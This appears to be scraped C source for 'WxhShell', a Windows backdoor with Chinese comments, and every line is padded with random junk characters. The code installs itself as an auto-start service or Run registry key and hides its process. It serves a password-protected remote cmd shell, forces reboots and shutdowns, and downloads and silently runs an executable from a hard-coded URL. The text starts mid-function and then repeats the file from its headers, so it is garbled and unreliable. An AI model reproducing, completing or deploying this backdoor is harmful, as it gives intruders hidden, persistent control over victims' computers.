  case 'd': { @F3d9t-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .S?,%4v%%  
    if(Boot(SHUTDOWN)) |?g2k:fzB7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mY`b|cS3p$  
    else { W]M[5p]*  
    closesocket(wsh); N#[/h96F  
    ExitThread(0); JBoo7a1  
    } <n6/np!  
    break; )3G?5 OTS  
    } A@DIq/^xM  
  // 获取shell Qz$.t>@V=  
  case 's': { YO,GZD`-o  
    CmdShell(wsh); pkk0?$l ",  
    closesocket(wsh); niA{L:4  
    ExitThread(0); 7s.sbP~  
    break; 7,+:Q Y@  
  } )%MB o.NL  
  // 退出 rcyH2)Y/e  
  case 'x': { _@^msyoq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jXW71$B  
    CloseIt(wsh); SR43#!99Q  
    break; wkIH<w|jb  
    } P}VD}lEyO  
  // 离开 ^ )+tn  
  case 'q': { / 5=A#G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IF1?/D"<  
    closesocket(wsh); nZ%<2  
    WSACleanup(); $}\. )^[}  
    exit(1); l|uN-{ w  
    break; kXOlZ C  
        } SQz>e  
  } ]I}' [D  
  } S8]g'!  
99ZQlX  
  // 提示信息 RKBtwZx>f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sF<4uy  
} zF{ z_c#3@  
  } i\t4TdEx(  
nKHyq\  
  return; ?VzST }  
} L~0B  
t;4{l`dk  
// shell模块句柄 `[:f;2(@  
int CmdShell(SOCKET sock)  Ng-3|N  
{ Pd@?(WQ  
STARTUPINFO si; /Wj9Stj5  
ZeroMemory(&si,sizeof(si)); G4=v2_]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9^aMmN&6N2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :_?>3c}L  
PROCESS_INFORMATION ProcessInfo; GJ((eAS)  
char cmdline[]="cmd"; bF}~9WEa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "urQUpF  
  return 0; tZ6KU11O  
} ^c!Hur6)  
(>Tu~Vo  
// 自身启动模式 =UYc~VUYnT  
int StartFromService(void)  oR5`-  
{ U~T/f-CT  
typedef struct ,m:MI/ )p  
{ 4{J%`H`Q!  
  DWORD ExitStatus; a"ht\v}1  
  DWORD PebBaseAddress; dwmj*+  
  DWORD AffinityMask; $I tehy  
  DWORD BasePriority; my*/MC^O  
  ULONG UniqueProcessId; k'S/nF A  
  ULONG InheritedFromUniqueProcessId; QU\|RX   
}   PROCESS_BASIC_INFORMATION; ,Z52d ggD  
py,z7_Nuh  
PROCNTQSIP NtQueryInformationProcess; evn ]n  
5X[=Q>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y=Bk;%yT=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HZM&QZHx)`  
2>UyA.m0  
  HANDLE             hProcess; ,rG$JCS'KQ  
  PROCESS_BASIC_INFORMATION pbi; (A ?e}M^}  
Jj([O2Eq$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u/``*=Y@  
  if(NULL == hInst ) return 0; hB|LW^@v  
5$jKw\FF=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &| ',o ?'F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^TDHPBlG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cl{;%4$9  
}b~ZpUL!  
  if (!NtQueryInformationProcess) return 0; =m1B1St2  
>-]Y%O;}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9?]4s-~  
  if(!hProcess) return 0; n32BHOVE  
L.erP* w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'GNT'y_  
2AU_<Hr6  
  CloseHandle(hProcess); ^S[Mg6J  
PiM@iS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r0hu?3u1?  
if(hProcess==NULL) return 0; xy[R9_V  
F7L+bv   
HMODULE hMod; 4egq Y0A  
char procName[255]; & XcY|y=W  
unsigned long cbNeeded; 8wwD\1pLS  
/(XtNtO*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $0{c =r9  
iGm[fxQ|  
  CloseHandle(hProcess); L%N|8P[  
e6]u5;B r  
if(strstr(procName,"services")) return 1; // 以服务启动 72Ft?;R  
^TnBtIU-B  
  return 0; // 注册表启动 p"Fj6T2  
} O~w&4F;{  
Rsqb<+7  
// 主模块 ULAAY$o@5  
int StartWxhshell(LPSTR lpCmdLine) 7X1T9'j I2  
{ Xgc@cwd  
  SOCKET wsl; qifX7AXHr  
BOOL val=TRUE; -Vw,9VCF  
  int port=0; ,GGr@})  
  struct sockaddr_in door; lS9rgq<n  
P b2exS(  
  if(wscfg.ws_autoins) Install(); p]IF=~b  
NtSa# $A  
port=atoi(lpCmdLine); )CEfG  
~x`OCii  
if(port<=0) port=wscfg.ws_port; `0Qzu\gRb  
k6. }.  
  WSADATA data; l *.#g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gHA"O@HgDI  
"ifYy>d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   leX&py  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |%we@ E  
  door.sin_family = AF_INET; r#3(;N{=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;#cb%e3  
  door.sin_port = htons(port); IIs'm!"Y>  
WHMt$W}%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KK}^E_v  
closesocket(wsl); x.~Z9j  
return 1; z4{ H=  
} hH|3s-o  
$_% a=0  
  if(listen(wsl,2) == INVALID_SOCKET) { Z6A*9m  
closesocket(wsl); ]xfu @''  
return 1; Tf<1Z{9  
} F3i+t+Jt  
  Wxhshell(wsl); Hq3"OMGq  
  WSACleanup(); $9j\sZj&  
; Sq_DP1W  
return 0; &}Cm9V  
( n|PLi  
} m "h{HgJd  
seB ^o}  
// 以NT服务方式启动 a9`E&Q}z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v&D^N9hy9  
{ tc.R(F96  
DWORD   status = 0; VE6 V^6SL  
  DWORD   specificError = 0xfffffff; f3[gA Y  
d.3-@^P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X@2[!%nm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :B6hYx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Xi?Y/  
  serviceStatus.dwWin32ExitCode     = 0; YJ3aJ^m#E  
  serviceStatus.dwServiceSpecificExitCode = 0; #Huvn4x  
  serviceStatus.dwCheckPoint       = 0; :na9PW`TC  
  serviceStatus.dwWaitHint       = 0; C%9;~S  
"FwbhD0Gb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JUt 7  
  if (hServiceStatusHandle==0) return; 7H %>\^A^  
# 4L[8(+V  
status = GetLastError(); yn)K1f^  
  if (status!=NO_ERROR) O=?WI  
{ z}&?^YU*)`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L#1Y R}m  
    serviceStatus.dwCheckPoint       = 0; wKIQK!B)mF  
    serviceStatus.dwWaitHint       = 0; =c"`>Vi@d  
    serviceStatus.dwWin32ExitCode     = status; -1 ;BwlL  
    serviceStatus.dwServiceSpecificExitCode = specificError; !X[b 4p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6*J`2U9Q  
    return; d<r=f"  
  } !ZJ" lm  
B\G?dmo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; imv[xBA(d  
  serviceStatus.dwCheckPoint       = 0; <,$(,RX  
  serviceStatus.dwWaitHint       = 0; vd6Y'Zk|F6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0GK<l  
} <Wn={1Ts"  
7F!_gj p  
// 处理NT服务事件,比如:启动、停止 xT6&;,|`  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  yl0&|Ub  
{ y-w=4_W  
switch(fdwControl) e C?adCb  
{ 8*-8"It<"  
case SERVICE_CONTROL_STOP: tpwMy:<Ex  
  serviceStatus.dwWin32ExitCode = 0; 7O^ySy"l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mEyJ o|  
  serviceStatus.dwCheckPoint   = 0; ]3u ErnI  
  serviceStatus.dwWaitHint     = 0; c=p`5sN)  
  { a ;WRTV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $1y8gm  
  } G1=GzAd$5  
  return; $T.we+u  
case SERVICE_CONTROL_PAUSE: <csz4tL}P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BU(:6  
  break; xb1 i{d  
case SERVICE_CONTROL_CONTINUE: >~8;H x].d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OOA %NKV  
  break; 7 p}J]!Z  
case SERVICE_CONTROL_INTERROGATE: CZe0kH^:{  
  break; RY3ANEu+  
}; /Uth#s:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A[`c2v-hF  
} QV,X> !Nz  
'Alt+O_  
// 标准应用程序主函数 SR7$m<0t*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0*^ J;QGE  
{ i`U:uwW`  
1D%3|_id^  
// 获取操作系统版本 5 0uYU[W  
OsIsNt=GetOsVer(); ?^t"tY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t{Ck"4Cg  
PeT _Ty  
  // 从命令行安装 :iqFC >D  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4=!SG4~o  
yr?*{;  
  // 下载执行文件 a+sHW<QeS  
if(wscfg.ws_downexe) {  AV{3f`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) " uf*?m3  
  WinExec(wscfg.ws_filenam,SW_HIDE); D!< [\ G  
} [!H2i p-  
o!!";q%DX  
if(!OsIsNt) { d$Y3 a^O|  
// 如果时win9x,隐藏进程并且设置为注册表启动 t\Pn67t  
HideProc(); nm5zX,  
StartWxhshell(lpCmdLine); VOr*YB&  
} |U)m'W-(q  
else G347&F)  
  if(StartFromService()) d*Q:[RUf,  
  // 以服务方式启动 itClCEOA  
  StartServiceCtrlDispatcher(DispatchTable); (WZKqt)S"o  
else 0goKiPx  
  // 普通方式启动 "h?;)Ye  
  StartWxhshell(lpCmdLine); K;moV| j  
:ZG^`H/X1d  
return 0; & 9X`tCnL  
} aV"K%#N  
y"q7Gx*^j  
`2`Nu:r^  
m}/LMY  
=========================================== B w?Kb@  
x}o]R  
l}odW  
 t9T3e  
<{ !^  
o8B_;4uB  
" ]4~- z3=y  
W _j`'WN/  
#include <stdio.h> Z)}q=NjA  
#include <string.h> 7oaa)  
#include <windows.h> !_0kn6 S5  
#include <winsock2.h> LoZ8;VU  
#include <winsvc.h> mw0#Dhyy1=  
#include <urlmon.h> jusP aAdW  
h<;kj#qbb  
#pragma comment (lib, "Ws2_32.lib") nn>< k"  
#pragma comment (lib, "urlmon.lib") R-nC+)^  
uMOm<kn  
#define MAX_USER   100 // 最大客户端连接数 %SORs(4  
#define BUF_SOCK   200 // sock buffer )#ze  
#define KEY_BUFF   255 // 输入 buffer 3S='/^l  
w}n:_e  
#define REBOOT     0   // 重启 ]yu,YZ@7  
#define SHUTDOWN   1   // 关机 L$zI_ z  
!#cZ!  
#define DEF_PORT   5000 // 监听端口 8was/^9;  
5"(AqXoq  
#define REG_LEN     16   // 注册表键长度 t95hI DtD  
#define SVC_LEN     80   // NT服务名长度 clfi)-^ {K  
F jdh&9Zc  
// 从dll定义API nTrfbK@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <q Z"W6&&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q|eRek  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $tvGS6p>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q@ !p  
VesW7m*z  
// wxhshell配置信息 s)Sa KE*d  
struct WSCFG { +SCUS]  
  int ws_port;         // 监听端口 <<F#Al  
  char ws_passstr[REG_LEN]; // 口令 H{|a+  
  int ws_autoins;       // 安装标记, 1=yes 0=no _Y F~DU  
  char ws_regname[REG_LEN]; // 注册表键名 ^pz3L'4n  
  char ws_svcname[REG_LEN]; // 服务名 T8Sgu6:*R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,])@?TJb@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J]uYXsC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9D74/3b*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^aVoH/q*C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'G z>X :  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %-"?  
AMqu}G  
}; : sIZ+3  
G#V5E)Dx  
// default Wxhshell configuration w`XwW#!}@$  
struct WSCFG wscfg={DEF_PORT, Yo0%5 noz  
    "xuhuanlingzhe", tm\ <w H  
    1, wqDRFZ1*P  
    "Wxhshell", g*8LdH 6mq  
    "Wxhshell", b:fy  
            "WxhShell Service", '>FJk`iI  
    "Wrsky Windows CmdShell Service", H8 yc<  
    "Please Input Your Password: ", X;_0"g  
  1, c)Ft#vzg&e  
  "http://www.wrsky.com/wxhshell.exe", #u+BjuZo  
  "Wxhshell.exe" 6w{^S~rqo  
    }; 2,|*KN*e`W  
=y>P>&sI  
// 消息定义模块 !v\m%t|.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $eQ_!7Gom$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8 OC5L1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e #l/jFJU  
char *msg_ws_ext="\n\rExit."; rN? L8  
char *msg_ws_end="\n\rQuit."; -F,o@5W>Y  
char *msg_ws_boot="\n\rReboot..."; U,/NygB~  
char *msg_ws_poff="\n\rShutdown..."; R`=IYnoOA  
char *msg_ws_down="\n\rSave to "; <x@\3{{U  
D[{p~x^  
char *msg_ws_err="\n\rErr!"; V M[9!:  
char *msg_ws_ok="\n\rOK!"; &*g5kh{  
S8j;oJ2 d  
char ExeFile[MAX_PATH]; u&l2s&i  
int nUser = 0; EK. L>3  
HANDLE handles[MAX_USER]; }]sI?&xB  
int OsIsNt; ><iEVrpN  
*|AnL}GJ  
SERVICE_STATUS       serviceStatus; 6Nx TW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dtjaQsJM^  
xD#PM |I  
// 函数声明 ]!H*oP8a*  
int Install(void); :j$K.3n  
int Uninstall(void); [ANit0-~  
int DownloadFile(char *sURL, SOCKET wsh); 1DcYc-k#  
int Boot(int flag); Y>!9P\Xe  
void HideProc(void); ri~dWx  
int GetOsVer(void); `9Ngax=_  
int Wxhshell(SOCKET wsl); {neE(0c  
void TalkWithClient(void *cs); 9B Lz  
int CmdShell(SOCKET sock); tjkY[  
int StartFromService(void); *sf9(%j  
int StartWxhshell(LPSTR lpCmdLine); o)n8,k&nm  
"Ks%!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Faa:h#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q"8)'dL'  
7d/wT+f  
// 数据结构和表定义 n);2b\&  
SERVICE_TABLE_ENTRY DispatchTable[] = ,: w~-   
{ mquna"}N  
{wscfg.ws_svcname, NTServiceMain}, YkPz ~;  
{NULL, NULL} Y'/`?CK  
}; .^#{rk  
[.<nt:  
// 自我安装 $Z 10Zf=  
int Install(void) `6j?2plZ  
{ 3f's>+,#%  
  char svExeFile[MAX_PATH]; M@!Gk  
  HKEY key; ]Ke|wRQD  
  strcpy(svExeFile,ExeFile); k}>l+_*+7  
05*_h0}  
// 如果是win9x系统,修改注册表设为自启动 'DsfKR^ s  
if(!OsIsNt) { v Xio1hu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [k-7Kq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8q7KqYu  
  RegCloseKey(key); <t]c'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EBzg<-?o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bXq,iX  
  RegCloseKey(key); 2 T{PIJg3  
  return 0; ~'fa,XZ<  
    } BO[Q"g$Kon  
  } X_s;j5ur  
} #CV(F$\1{  
else { 2)RW*Qu;+  
&:]_a?|*S  
// 如果是NT以上系统,安装为系统服务 o)}b Fw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4)2*|w  
if (schSCManager!=0) Ms1\J2  
{ Fh v)  
  SC_HANDLE schService = CreateService :;0?;dpO  
  ( Vu`dEv L?  
  schSCManager, tP!sOvQ:  
  wscfg.ws_svcname, j K[VEhs  
  wscfg.ws_svcdisp, a-!"m  
  SERVICE_ALL_ACCESS, y#AY+ >  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U YUIpe  
  SERVICE_AUTO_START, .NjdkHYR  
  SERVICE_ERROR_NORMAL, ec1g7w-n  
  svExeFile,  4EB$e?  
  NULL, eV9:AN}K=  
  NULL, K 1:F{*  
  NULL, 2SG|]=  
  NULL, 6El%T]^  
  NULL =q xcM+OX1  
  ); e7#=F6  
  if (schService!=0) qx0o,oZN!  
  { =5Q;quKu^5  
  CloseServiceHandle(schService); (!X:[Ah*$  
  CloseServiceHandle(schSCManager); u6r-{[W}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fY%Sw7ql<  
  strcat(svExeFile,wscfg.ws_svcname); mSQ!<1PM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yvDzxu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4vqu(w8 L  
  RegCloseKey(key); R<UjhCvx.  
  return 0; aE{b65'Dt  
    } "6KOql3  
  } W]Ph:O ^5c  
  CloseServiceHandle(schSCManager); PY z | d  
} $Uewv +  
} HwST^\Ao  
g1zqh,  
return 1; D@ =.4z  
} vMRKs#&8  
2DV{gF  
// 自我卸载 3'/wRKl  
int Uninstall(void) GMNf#;x  
{ r456M-~  
  HKEY key; _%1.D0<~-E  
8#Z$}?W  
if(!OsIsNt) { +'#d*r91@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q^39Wk@  
  RegDeleteValue(key,wscfg.ws_regname); IwH ,g^0\  
  RegCloseKey(key); Jb tbW &EH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GtGToI  
  RegDeleteValue(key,wscfg.ws_regname); :cC`wX$  
  RegCloseKey(key); {Z?!*Ow  
  return 0; z0Zl'  
  } ,JZ@qmQ,  
} $(CHwG-  
} =u;q98r  
else { sg6cq_\  
,RT\&Ze5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5<a<!]|C  
if (schSCManager!=0) IB;y8e,  
{ A(s/Nz>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g:,4Kd|  
  if (schService!=0) `7 B [<  
  { J| DWT+$#Z  
  if(DeleteService(schService)!=0) { "V:UQ<a\  
  CloseServiceHandle(schService); R6:N`S]&d[  
  CloseServiceHandle(schSCManager); ,~4(td+R7  
  return 0; dO8Z {wfs  
  } 6 w ]]KA  
  CloseServiceHandle(schService); /?6y2t  
  } 1gm{.*G  
  CloseServiceHandle(schSCManager); V&}Z# 9Dx  
} f Fz8m  
} jcG4h/A  
5 + Jy  
return 1; Sv>aZ  
} x)Th2es\  
@%fkW"y:  
// 从指定url下载文件 _9gn;F  
int DownloadFile(char *sURL, SOCKET wsh)  C3<3  
{ [X=eCHB?  
  HRESULT hr; ^al SyJ`  
char seps[]= "/"; :iWV:0)P  
char *token; hOC,Eo  
char *file; vcSS+  
char myURL[MAX_PATH]; TX+t   
char myFILE[MAX_PATH]; #UI`G3w<  
#F6ak,9S4  
strcpy(myURL,sURL); cM"I3  
  token=strtok(myURL,seps); oz0-'_  
  while(token!=NULL) :m~lgb<  
  { Fwqv 1+  
    file=token; _j2`#|oG  
  token=strtok(NULL,seps); @v'<~9vG  
  } %FRkvqV*  
dW5z0VuB$/  
GetCurrentDirectory(MAX_PATH,myFILE); ~G$OY9UC  
strcat(myFILE, "\\"); "l@~WE  
strcat(myFILE, file); 0y1t%C075  
  send(wsh,myFILE,strlen(myFILE),0); vaU7tJ:  
send(wsh,"...",3,0); +I~?8*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rLXn35O  
  if(hr==S_OK) g!QumRF  
return 0; x-QP+M`Pu  
else >L(F{c:  
return 1; VuR BJ2D  
}9kq?  
} 97 g-*K  
ejQCMG7  
// 系统电源模块 wb?hfe  
int Boot(int flag) H9Z3.F(2  
{ E:tUbWVp  
  HANDLE hToken; rTJWftH!  
  TOKEN_PRIVILEGES tkp; 8]L.E  
R.QcXz?d  
  if(OsIsNt) { Eg:p_F*lr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y\=:j7'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lt]U?VZ   
    tkp.PrivilegeCount = 1; QRjt.Ry|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t2gjhn^p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e8#3Y+Tc  
if(flag==REBOOT) { \r 2qH0B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *~"`&rM(  
  return 0; &ar}6eO  
} .`p_vS9  
else { -,tYfQ;:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]aR4U`  
  return 0; Ij8tBT?jlL  
} e{O5y8,  
  } 2n=;"33%a  
  else { {V&7JZl,/  
if(flag==REBOOT) { c%dy$mkqgK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r]S9z  
  return 0; vP2QAGk <  
} !L _ SHlU  
else { LKZI@i)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }X?*o `sW  
  return 0; WWL Vy(  
} _7<U[63  
} :6 fQE#(s&  
QUDVsN#  
return 1; Ss:,#|   
} +g[B &A!d+  
K_aN7?#.v`  
// win9x进程隐藏模块 ._3NqE;  
void HideProc(void) .R'i=D`Pz  
{ i=D,T[|>a  
yM2&cMHH~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *J=ol  
  if ( hKernel != NULL ) NZuFxJ-`  
  { Y P c<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8iNAs#s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zy%Z]dF  
    FreeLibrary(hKernel); E0Djo'64  
  } $yAfs3/%)s  
QFPx4F7(e  
return; 8hfh,v5(  
} >N J$ac  
Wd AGZUp  
// 获取操作系统版本 SS~Q;9o  
int GetOsVer(void) $%JyM  
{ w!RH*S  
  OSVERSIONINFO winfo; .7FI%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S+G)&<a^  
  GetVersionEx(&winfo); [//f BO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \sd"iMEi  
  return 1; C":\L>Ax  
  else DO1{r/Ib.{  
  return 0; Oy&'zigJ  
} p#d UL9  
W wha?W>  
// 客户端句柄模块 I={{VQ  
int Wxhshell(SOCKET wsl) ArYF\7P  
{ Z L</  
  SOCKET wsh; ([*t.  
  struct sockaddr_in client; DcA'{21  
  DWORD myID; !&lPdEc@T  
B6\VxSX4{  
  while(nUser<MAX_USER) ~P_kr'o  
{ ]Qr8wa>Z  
  int nSize=sizeof(client); ;l()3;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LDeVNVM  
  if(wsh==INVALID_SOCKET) return 1; GJs[m~`8#  
c!Vc_@V,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WZ&@ JB  
if(handles[nUser]==0) L@r.R_*H?s  
  closesocket(wsh); sV[Z|$&Z  
else Xb* _LZAU  
  nUser++; hhAC@EGG  
  } M[u3]dN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4d G-  
"S`wwl  
  return 0; ;;!{m(;LS}  
} [Z\1"m  
?w/nZQWi  
// 关闭 socket .~L4#V{c~  
void CloseIt(SOCKET wsh) zI!R-Nb  
{ F |81i$R  
closesocket(wsh); +c`C9RXk  
nUser--; ~4MjJKzA  
ExitThread(0); RCYbRR4y  
} "n }fEVJ,  
[9om"'  
// 客户端请求句柄 /'6[*]IZP  
void TalkWithClient(void *cs) 9Fx z!-9m  
{ hX%v`8  
 /kU@S  
  SOCKET wsh=(SOCKET)cs; NB5B$q_'#  
  char pwd[SVC_LEN]; -_DiD^UcXn  
  char cmd[KEY_BUFF]; Os 2YZ<t  
char chr[1]; So%1RY{ )  
int i,j; G@EjWZQ  
G!Oq>7  
  while (nUser < MAX_USER) { hX| UE  
V)QR!4De  
if(wscfg.ws_passstr) { |~LjH|*M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BC{J3<0bf@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5qQ(V)ah  
  //ZeroMemory(pwd,KEY_BUFF); \Ntdl:fSw  
      i=0; ]#q7}Sd  
  while(i<SVC_LEN) { )^S^s >3  
h$ iyclX  
  // 设置超时 jQeE07g  
  fd_set FdRead; B9)qv>m  
  struct timeval TimeOut; b%f2"e0g  
  FD_ZERO(&FdRead); 1=5'R/k  
  FD_SET(wsh,&FdRead); zRoEx1  
  TimeOut.tv_sec=8; x ETVt q  
  TimeOut.tv_usec=0; R 4QwWSBJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e=)* O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZX6=D>)u  
; :\,x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lEb R)B,  
  pwd=chr[0]; ilcy/  
  if(chr[0]==0xd || chr[0]==0xa) { 1qKxg  
  pwd=0; k>;r9^D  
  break; "jJdUFN  
  } h9w^7MbO  
  i++; wQrPS  
    } ?Gv!d  
h8= MVh(I  
  // 如果是非法用户,关闭 socket <T.#A8c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C\ 2 >7  
} UFAMbI  
hPi :31-0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0R5^p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2td|8vDA  
FlA\Ad;v  
while(1) { l)PFzIz=V  
vua1iN1  
  ZeroMemory(cmd,KEY_BUFF); aco}pXz  
l^y?L4hg)  
      // 自动支持客户端 telnet标准   6dR-HhF  
  j=0; m>-^ K  
  while(j<KEY_BUFF) { u3i| }`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "ko?att~  
  cmd[j]=chr[0]; M3;v3 }z<-  
  if(chr[0]==0xa || chr[0]==0xd) { L5qCv -{  
  cmd[j]=0; I;.! hV>E  
  break; ;/^]|  
  } - Zoo)  
  j++; y7IbE   
    } >;&V~q:di  
Y=Ar3O*F  
  // 下载文件 nh&J3b}B!  
  if(strstr(cmd,"http://")) { -k[tFBl w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e5>5/l]jsg  
  if(DownloadFile(cmd,wsh)) ':2*+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>B5LU9&  
  else k5%0wHpk=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -}qGb}F8!  
  } am'p^Z @  
  else { pGbFg&  
